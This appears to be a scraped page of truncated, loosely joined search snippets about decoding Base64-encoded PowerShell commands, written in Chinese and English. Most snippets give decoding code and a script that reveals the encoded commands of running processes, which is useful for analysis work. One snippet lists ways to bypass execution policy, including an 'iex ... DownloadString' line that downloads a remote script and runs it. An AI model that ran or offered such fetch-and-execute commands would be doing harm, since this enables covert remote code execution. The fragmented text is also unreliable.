解码base64命令是将Base64编码的文本转换回原始的二进制数据。在PowerShell中,我们可以使用[System.Convert]类的FromBase64String()方法来实现解码操作。下面是一个示例代码: 代码语言:txt 复制 $base64String = "SGVsbG8gd29ybGQh" $decodedBytes = [System.Convert]::FromBase64String($base64String) $decodedS...
$commandDetails | Format-List -Property * 执行上述步骤后,你将能够看到解码后的 PowerShell 命令。这对于分析正在运行的 PowerShell 进程非常有用,特别是当这些进程执行了编码的命令时。 此外,还有一些专门的工具如 PowerDecode,它也可以用于解混淆多层混淆的 PowerShell 脚本。这些工具提供了更高级的功能,可能更...
$commandDetails|ForEach-Object-Process{# Get the current process$currentProcess=$_# Convert the Base 64 string to a Byte Array$commandBytes= [System.Convert]::FromBase64String($currentProcess.EncodedCommand)# Convert the Byte Array to a string$decodedCommand= [System.Text.Encoding]::Un...
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)” 3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。 示例:powershell.exe -enc [ENCODED COMMAND] 4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。
PSMDTAG:FAQ: How do I base64 encode/decode a string? PSMDTAG:PHILOSOPHY:Whenever you are adding some functions, you should make a conscious decision about whether those functions are best exposed as a "function" or as a "type extension". ...
问powershell中base64解码的替代方案ENBase64是一种能将任意Binary资料用64种字元组合成字串的方法，而...
cmdline: nps.exe "{powershell single command}" nps.exe "& {commands; semi-colon; separated}" nps.exe -encodedcommand {base64_encoded_command} nps.exe -encode "commands to encode to base64" nps.exe -decode {base64_encoded_command} 我尝试编码一个恶意的脚本并运行。 很明显,这是因为 ...
PowerShell -Command "& {Get-EventLog -LogName Security}" # To use the -EncodedCommand parameter: $command = "dir 'C:\Program Files' " $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $...
usage: nps.exe "{powershell single command}" nps.exe "& {commands; semi-colon; separated}" nps.exe -encodedcommand {base64_encoded_command} nps.exe -encode "commands to encode to base64" nps.exe -decode {base64_encoded_command}
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